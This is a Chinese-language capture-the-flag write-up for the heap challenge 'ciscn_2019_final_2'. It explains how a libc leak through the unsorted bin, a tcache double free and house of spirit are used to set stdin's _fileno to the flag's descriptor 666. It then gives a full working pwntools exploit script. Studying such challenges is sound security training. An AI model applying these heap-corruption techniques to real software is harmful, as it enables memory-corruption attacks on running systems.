ciscn_2019_final_2
步骤
-
例行检查,64位程序,保护全开
-
本地没有flag文件,远程连接一下,经典的堆题的菜单
-
64位ida载入
init()
allocate(),只可以申请0x20或者0x10的chunk
delete()
show(),show只能调用3次
bye_bye
这道题的关键点在于文件流的知识
dup2 用来复制文件描述符:int dup2 (int oldfd,int newfd)
_fileno 是用来规定 fd 所指向的文件流的,init()将flag的fd改成了666,所以我们只要想办法把 stdin 的 _fileno 改成 666 即可,这样在之后 scanf 就会将 fd == 666 (flag)的内容输入到 & v0 中,然后我们就可以输出 flag 的内容了
我创建了flag文件,但是本地还是没法运行附件,也就没法调试看堆的分布,就直接参照pwnki师傅的做法了
- 分配足够多的 tcachebin 使其合并进入 unorted bin 。
- 通过 unsorted bin 的 fd 指针泄露 libc 的基址,并计算出 fileno 的地址。
- 运用 double free 与 house of spirit 技术将 stdin 的 fileno 改为 666 ,这样 scanf 的时候就会从 flag 文件中读取数据。
- 触发 leave 函数,打印 flag 。
exp
from pwn import *
#p=remote('node3.buuoj.cn',28321)
p=process('./ciscn_final_2')
elf = ELF('./ciscn_final_2')
libc = ELF('./libc-2.27.so')
def add(add_type, add_num):
p.sendlineafter('which command?\n> ','1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))
def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
#gdb.attach(p)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
p.interactive()